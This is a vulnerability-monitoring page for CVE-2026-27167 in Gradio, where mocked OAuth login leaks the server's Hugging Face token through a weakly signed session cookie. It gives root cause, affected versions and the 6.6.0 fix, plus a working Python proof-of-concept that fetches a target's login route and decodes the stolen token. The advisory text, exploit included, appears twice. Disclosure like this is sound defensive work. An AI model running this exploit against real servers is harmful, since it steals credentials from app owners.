Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
5.9
Gradio: Attacker Can Steal Server's OAuth Token via Mocked Login
CVE-2026-27167
GHSA-h3h8-3v2v-rg7m
Summary
Gradio applications running outside of Hugging Face Spaces can expose the server's Hugging Face token to remote attackers. This happens when a user interacts with a Gradio app's OAuth login feature. To fix this, update Gradio to the latest version or manually disable OAuth features if not needed.
What to do
- Update gradio to version 6.6.0.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | gradio | > 4.16.0 , <= 6.6.0 | 6.6.0 |
| gradio_project | gradio | > 4.16.0 , <= 6.6.0 | – |
Original title
Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret
Original description
## Summary
Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `"-v4"`, making the payload trivially decodable.
## Affected Component
`gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.
## Root Cause Analysis
### 1. Real token injected into every visitor's session
When Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).
The function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183):
```python
request.session["oauth_info"] = mocked_oauth_info
```
The `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):
```python
return {
"access_token": token, # <-- real HF token from server
...
}
```
### 2. Hardcoded session signing secret
The `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):
```python
session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"
```
When running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `"-v4"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.
In practice, Starlette's `SessionMiddleware` stores the session data as **plaintext base64** in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.
## Attack Scenario
### Prerequisites
- A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)
- The app is network-accessible (e.g. `server_name="0.0.0.0"`, `share=True`, port forwarding, etc.)
- The host machine has a Hugging Face token configured
- `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces)
### Steps
1. Attacker sends a GET request to `http://<target>:7860/login/huggingface`
2. The server responds with a 307 redirect to `/login/callback`
3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token
4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`
## Minimal Vulnerable Application
```python
import gradio as gr
from huggingface_hub import login
login(token="hf_xxx...")
def hello(profile: gr.OAuthProfile | None) -> str:
if profile is None:
return "Not logged in."
return f"Hello {profile.name}"
with gr.Blocks() as demo:
gr.LoginButton()
gr.Markdown().attach_load_event(hello, None)
demo.launch(server_name="0.0.0.0")
```
## Proof of Concept
```python
#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
args = ap.parse_args()
base = args.target.rstrip("/")
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
# 1. Trigger mocked OAuth flow — server injects its own HF token into our session
s = requests.Session()
s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)
cookie = s.cookies.get("session")
if not cookie:
print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
sys.exit(1)
# 2. Decode the cookie payload (base64 before the first ".")
payload_b64 = cookie.split(".")[0]
payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding
data = json.loads(base64.b64decode(payload_b64))
token = data.get("oauth_info", {}).get("access_token")
if token:
print(f"[+] Leaked HF token: {token}")
else:
print("[-] No access_token found in session.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
```
Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `"-v4"`, making the payload trivially decodable.
## Affected Component
`gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.
## Root Cause Analysis
### 1. Real token injected into every visitor's session
When Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).
The function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183):
```python
request.session["oauth_info"] = mocked_oauth_info
```
The `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):
```python
return {
"access_token": token, # <-- real HF token from server
...
}
```
### 2. Hardcoded session signing secret
The `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):
```python
session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"
```
When running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `"-v4"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.
In practice, Starlette's `SessionMiddleware` stores the session data as **plaintext base64** in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.
## Attack Scenario
### Prerequisites
- A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)
- The app is network-accessible (e.g. `server_name="0.0.0.0"`, `share=True`, port forwarding, etc.)
- The host machine has a Hugging Face token configured
- `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces)
### Steps
1. Attacker sends a GET request to `http://<target>:7860/login/huggingface`
2. The server responds with a 307 redirect to `/login/callback`
3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token
4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`
## Minimal Vulnerable Application
```python
import gradio as gr
from huggingface_hub import login
login(token="hf_xxx...")
def hello(profile: gr.OAuthProfile | None) -> str:
if profile is None:
return "Not logged in."
return f"Hello {profile.name}"
with gr.Blocks() as demo:
gr.LoginButton()
gr.Markdown().attach_load_event(hello, None)
demo.launch(server_name="0.0.0.0")
```
## Proof of Concept
```python
#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
args = ap.parse_args()
base = args.target.rstrip("/")
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
# 1. Trigger mocked OAuth flow — server injects its own HF token into our session
s = requests.Session()
s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)
cookie = s.cookies.get("session")
if not cookie:
print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
sys.exit(1)
# 2. Decode the cookie payload (base64 before the first ".")
payload_b64 = cookie.split(".")[0]
payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding
data = json.loads(base64.b64decode(payload_b64))
token = data.get("oauth_info", {}).get("access_token")
if token:
print(f"[+] Leaked HF token: {token}")
else:
print("[-] No access_token found in session.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
```
nvd CVSS3.1
5.9
Vulnerability type
CWE-522
Insufficiently Protected Credentials
CWE-798
Use of Hard-coded Credentials
- https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m Exploit Vendor Advisory
- https://nvd.nist.gov/vuln/detail/CVE-2026-27167
- https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1...
- https://github.com/gradio-app/gradio/releases/tag/[email protected]
- https://github.com/advisories/GHSA-h3h8-3v2v-rg7m
Published: 1 Mar 2026 · Updated: 13 Mar 2026 · First seen: 6 Mar 2026